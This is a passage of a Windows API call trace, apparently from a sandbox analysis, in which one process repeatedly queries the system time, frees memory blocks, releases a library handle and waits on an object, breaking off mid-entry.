[0225.699] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6761b60d, dwHighDateTime=0x1d9eb0c)) [0225.700] free (_Block=0x196ef0d1ee0) [0225.700] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0225.701] free (_Block=0x196ef0d4e70) [0225.702] free (_Block=0x196ef0fbe50) [0225.702] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.755] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x676b4131, dwHighDateTime=0x1d9eb0c)) [0225.755] free (_Block=0x196ef0d1f20) [0225.755] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0225.756] free (_Block=0x196ef0d4e70) [0225.757] free (_Block=0x196ef0fc120) [0225.757] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.761] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x676b4131, dwHighDateTime=0x1d9eb0c)) [0225.762] free (_Block=0x196ef0d1fa0) [0225.762] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0225.762] free (_Block=0x196ef0d4e70) [0225.763] free (_Block=0x196ef0fc120) [0225.763] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.768] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x676b4131, dwHighDateTime=0x1d9eb0c)) [0225.769] free (_Block=0x196ef0d20e0) [0225.769] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0225.769] free (_Block=0x196ef0d4e70) [0225.770] free (_Block=0x196ef0fc170) [0225.770] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.776] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x676da363, dwHighDateTime=0x1d9eb0c)) [0225.776] free (_Block=0x196ef0d1ae0) [0225.776] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0225.777] free (_Block=0x196ef0d4e70) [0225.777] free (_Block=0x196ef0fb5e0) [0225.777] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.784] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x676da363, dwHighDateTime=0x1d9eb0c)) [0225.784] free (_Block=0x196ef0d1da0) [0225.784] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0225.785] free (_Block=0x196ef0d4e70) [0225.787] free (_Block=0x196ef0fbf40) [0225.787] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.224] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x67b2ec88, dwHighDateTime=0x1d9eb0c)) [0226.225] free (_Block=0x196ef0d1c60) [0226.225] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0226.225] free (_Block=0x196ef0d4e70) [0226.227] free (_Block=0x196ef0fb2c0) [0226.227] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.236] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x67b4b490, dwHighDateTime=0x1d9eb0c)) [0226.236] free (_Block=0x196ef0d19e0) [0226.236] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0226.237] free (_Block=0x196ef0d4e70) [0226.237] free (_Block=0x196ef0fbfe0) [0226.238] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.244] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x67b60062, dwHighDateTime=0x1d9eb0c)) [0226.245] free (_Block=0x196ef0d1e20) [0226.246] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0226.246] free (_Block=0x196ef0d4e70) [0226.247] free (_Block=0x196ef0fb8b0) [0226.247] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.252] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x67b627d0, dwHighDateTime=0x1d9eb0c)) [0226.252] free (_Block=0x196ef0d1980) [0226.253] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0226.253] free (_Block=0x196ef0d4e70) [0226.254] free (_Block=0x196ef0fb540) [0226.254] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.343] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x67c47d6f, dwHighDateTime=0x1d9eb0c)) [0226.344] free (_Block=0x196ef0d1a80) [0226.344] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0226.344] free (_Block=0x196ef0d4e70) [0226.345] free (_Block=0x196ef0fb450) [0226.345] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.351] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x67c47d6f, dwHighDateTime=0x1d9eb0c)) [0226.351] free (_Block=0x196ef0d1cc0) [0226.351] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0226.352] free (_Block=0x196ef0d4e70) [0226.353] free (_Block=0x196ef0fb680) [0226.353] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.360] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x67c6dbfd, dwHighDateTime=0x1d9eb0c)) [0226.360] free (_Block=0x196ef0d1ba0) [0226.360] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0226.361] free (_Block=0x196ef0d4e70) [0226.362] free (_Block=0x196ef0fbae0) [0226.362] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.367] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x67c6dbfd, dwHighDateTime=0x1d9eb0c)) [0226.368] free (_Block=0x196ef0d1cc0) [0226.368] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0226.368] free (_Block=0x196ef0d4e70) [0226.369] free (_Block=0x196ef0fbae0) [0226.369] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.376] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x67c94043, dwHighDateTime=0x1d9eb0c)) [0226.376] free (_Block=0x196ef0d1960) [0226.376] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0226.377] free (_Block=0x196ef0d4e70) [0226.378] free (_Block=0x196ef0fb9a0) [0226.378] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.384] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x67c94043, dwHighDateTime=0x1d9eb0c)) [0226.384] free (_Block=0x196ef0d1ba0) [0226.384] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0226.385] free (_Block=0x196ef0d4e70) [0226.386] free (_Block=0x196ef0fb310) [0226.387] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.460] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x67d529d9, dwHighDateTime=0x1d9eb0c)) [0226.460] free (_Block=0x196ef0d1f20) [0226.460] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0226.461] free (_Block=0x196ef0d4e70) [0226.462] free (_Block=0x196ef0fbd10) [0226.462] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.474] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x67d78cf4, dwHighDateTime=0x1d9eb0c)) [0226.474] free (_Block=0x196ef0d1ec0) [0226.474] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0226.475] free (_Block=0x196ef0d4e70) [0226.476] free (_Block=0x196ef0fc120) [0226.476] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.482] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x67d9f240, dwHighDateTime=0x1d9eb0c)) [0226.482] free (_Block=0x196ef0d1e60) [0226.482] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0226.483] free (_Block=0x196ef0d4e70) [0226.484] free (_Block=0x196ef0fbef0) [0226.484] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.489] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x67d9f240, dwHighDateTime=0x1d9eb0c)) [0226.490] free (_Block=0x196ef0d2000) [0226.490] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0226.491] free (_Block=0x196ef0d4e70) [0226.492] free (_Block=0x196ef0fbef0) [0226.492] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.498] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x67dc5251, dwHighDateTime=0x1d9eb0c)) [0226.499] free (_Block=0x196ef0d1e60) [0226.499] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0226.500] free (_Block=0x196ef0d4e70) [0226.500] free (_Block=0x196ef0fb590) [0226.501] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.562] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x67e5da51, dwHighDateTime=0x1d9eb0c)) [0226.563] free (_Block=0x196ef0d1e60) [0226.563] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0226.563] free (_Block=0x196ef0d4e70) [0226.565] free (_Block=0x196ef0fbae0) [0226.565] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.581] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x67e84301, dwHighDateTime=0x1d9eb0c)) [0226.582] free (_Block=0x196ef0d2040) [0226.583] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0226.584] free (_Block=0x196ef0d4e70) [0226.585] free (_Block=0x196ef0fb4f0) [0226.585] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.597] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x67eaa170, dwHighDateTime=0x1d9eb0c)) [0226.598] free (_Block=0x196ef0d19e0) [0226.598] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0226.599] free (_Block=0x196ef0d4e70) [0226.600] free (_Block=0x196ef0fbd60) [0226.600] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.652] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x67f4283b, dwHighDateTime=0x1d9eb0c)) [0226.653] free (_Block=0x196ef0d1ac0) [0226.653] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0226.654] free (_Block=0x196ef0d4e70) [0226.655] free (_Block=0x196ef0fb810) [0226.655] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.663] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x67f4283b, dwHighDateTime=0x1d9eb0c)) [0226.664] free (_Block=0x196ef0d1d60) [0226.664] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0226.665] free (_Block=0x196ef0d4e70) [0226.666] free (_Block=0x196ef0fbe00) [0226.666] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.673] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x67f68c9d, dwHighDateTime=0x1d9eb0c)) [0226.673] free (_Block=0x196ef0d1a60) [0226.673] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0226.674] free (_Block=0x196ef0d4e70) [0226.675] free (_Block=0x196ef0fbea0) [0226.676] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.698] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x67f8f120, dwHighDateTime=0x1d9eb0c)) [0226.699] free (_Block=0x196ef0d1b40) [0226.699] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0226.699] free (_Block=0x196ef0d4e70) [0226.700] free (_Block=0x196ef0fb220) [0226.700] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.781] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x68078b8d, dwHighDateTime=0x1d9eb0c)) [0226.782] free (_Block=0x196ef0d1c00) [0226.782] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0226.783] free (_Block=0x196ef0d4e70) [0226.784] free (_Block=0x196ef0fb270) [0226.784] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.790] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x68078b8d, dwHighDateTime=0x1d9eb0c)) [0226.791] free (_Block=0x196ef0d1a20) [0226.791] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0226.791] free (_Block=0x196ef0d4e70) [0226.792] free (_Block=0x196ef0fbf40) [0226.792] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.799] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6809a53d, dwHighDateTime=0x1d9eb0c)) [0226.800] free (_Block=0x196ef0d2060) [0226.800] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0226.801] free (_Block=0x196ef0d4e70) [0226.801] free (_Block=0x196ef0fbd60) [0226.802] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.890] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6817eb5d, dwHighDateTime=0x1d9eb0c)) [0226.891] free (_Block=0x196ef0d1980) [0226.891] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0226.892] free (_Block=0x196ef0d4e70) [0226.893] free (_Block=0x196ef0fb3b0) [0226.893] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.984] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x68263ac8, dwHighDateTime=0x1d9eb0c)) [0226.984] free (_Block=0x196ef0d1c60) [0226.985] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0226.986] free (_Block=0x196ef0d4e70) [0226.987] free (_Block=0x196ef0fb5e0) [0226.987] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.994] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x68263ac8, dwHighDateTime=0x1d9eb0c)) [0226.995] free (_Block=0x196ef0d1d60) [0226.995] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0226.995] free (_Block=0x196ef0d4e70) [0226.996] free (_Block=0x196ef0fb3b0) [0226.996] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.004] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6828af8b, dwHighDateTime=0x1d9eb0c)) [0227.004] free (_Block=0x196ef0d1e80) [0227.004] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0227.005] free (_Block=0x196ef0d4e70) [0227.006] free (_Block=0x196ef0fb450) [0227.006] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.012] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x682aff71, dwHighDateTime=0x1d9eb0c)) [0227.013] free (_Block=0x196ef0d1980) [0227.013] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0227.014] free (_Block=0x196ef0d4e70) [0227.015] free (_Block=0x196ef0fb680) [0227.015] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.237] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x684d827e, dwHighDateTime=0x1d9eb0c)) [0227.238] free (_Block=0x196ef0d1f00) [0227.238] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0227.239] free (_Block=0x196ef0d4e70) [0227.239] free (_Block=0x196ef0fc170) [0227.240] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.247] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x684e8021, dwHighDateTime=0x1d9eb0c)) [0227.247] free (_Block=0x196ef0d1ec0) [0227.248] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0227.248] free (_Block=0x196ef0d4e70) [0227.248] free (_Block=0x196ef0fb900) [0227.249] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.258] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x684e8021, dwHighDateTime=0x1d9eb0c)) [0227.258] free (_Block=0x196ef0d1fa0) [0227.258] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0227.259] free (_Block=0x196ef0d4e70) [0227.259] free (_Block=0x196ef0fba90) [0227.260] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.272] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6850f014, dwHighDateTime=0x1d9eb0c)) [0227.273] free (_Block=0x196ef0d1bc0) [0227.273] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0227.273] free (_Block=0x196ef0d4e70) [0227.274] free (_Block=0x196ef0fb400) [0227.274] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.323] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x685a6f65, dwHighDateTime=0x1d9eb0c)) [0227.324] free (_Block=0x196ef0d1ba0) [0227.324] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0227.324] free (_Block=0x196ef0d4e70) [0227.325] free (_Block=0x196ef0fb450) [0227.325] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.330] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x685a6f65, dwHighDateTime=0x1d9eb0c)) [0227.331] free (_Block=0x196ef0d1e60) [0227.331] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0227.331] free (_Block=0x196ef0d4e70) [0227.332] free (_Block=0x196ef0fb220) [0227.332] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.344] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x685cd11d, dwHighDateTime=0x1d9eb0c)) [0227.345] free (_Block=0x196ef0d2040) [0227.345] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0227.345] free (_Block=0x196ef0d4e70) [0227.346] free (_Block=0x196ef0fb360) [0227.346] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.355] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x685f337b, dwHighDateTime=0x1d9eb0c)) [0227.356] free (_Block=0x196ef0d1d60) [0227.356] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0227.357] free (_Block=0x196ef0d4e70) [0227.357] free (_Block=0x196ef0fb4f0) [0227.357] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.362] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x685f337b, dwHighDateTime=0x1d9eb0c)) [0227.363] free (_Block=0x196ef0d2000) [0227.363] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0227.364] free (_Block=0x196ef0d4e70) [0227.364] free (_Block=0x196ef0fbbd0) [0227.364] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.373] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x686238e5, dwHighDateTime=0x1d9eb0c)) [0227.373] free (_Block=0x196ef0d1ba0) [0227.373] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0227.374] free (_Block=0x196ef0d4e70) [0227.375] free (_Block=0x196ef0fb950) [0227.375] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.429] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6869b9cf, dwHighDateTime=0x1d9eb0c)) [0227.430] free (_Block=0x196ef0d2000) [0227.430] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0227.430] free (_Block=0x196ef0d4e70) [0227.431] free (_Block=0x196ef0fbe50) [0227.431] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.441] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x686c1f6e, dwHighDateTime=0x1d9eb0c)) [0227.442] free (_Block=0x196ef0d1f20) [0227.442] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0227.442] free (_Block=0x196ef0d4e70) [0227.443] free (_Block=0x196ef0fb810) [0227.443] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.449] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x686c1f6e, dwHighDateTime=0x1d9eb0c)) [0227.450] free (_Block=0x196ef0d1cc0) [0227.450] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0227.450] free (_Block=0x196ef0d4e70) [0227.451] free (_Block=0x196ef0fbb30) [0227.451] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.460] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x686e7f35, dwHighDateTime=0x1d9eb0c)) [0227.461] free (_Block=0x196ef0d1ac0) [0227.461] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0227.461] free (_Block=0x196ef0d4e70) [0227.462] free (_Block=0x196ef0fbb30) [0227.462] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.521] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6878096a, dwHighDateTime=0x1d9eb0c)) [0227.521] free (_Block=0x196ef0d2040) [0227.521] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0227.522] free (_Block=0x196ef0d4e70) [0227.523] free (_Block=0x196ef0fb4f0) [0227.523] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.530] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6878096a, dwHighDateTime=0x1d9eb0c)) [0227.530] free (_Block=0x196ef0d20c0) [0227.530] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0227.531] free (_Block=0x196ef0d4e70) [0227.531] free (_Block=0x196ef0fb270) [0227.532] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.537] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x687a7a1f, dwHighDateTime=0x1d9eb0c)) [0227.537] free (_Block=0x196ef0d1b40) [0227.538] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0227.538] free (_Block=0x196ef0d4e70) [0227.539] free (_Block=0x196ef0fbea0) [0227.539] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.545] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x687a7a1f, dwHighDateTime=0x1d9eb0c)) [0227.546] free (_Block=0x196ef0d1e20) [0227.546] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0227.546] free (_Block=0x196ef0d4e70) [0227.547] free (_Block=0x196ef0fb220) [0227.547] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.556] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x687cd288, dwHighDateTime=0x1d9eb0c)) [0227.556] free (_Block=0x196ef0d1c80) [0227.556] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0227.557] free (_Block=0x196ef0d4e70) [0227.558] free (_Block=0x196ef0fba40) [0227.558] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.644] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: 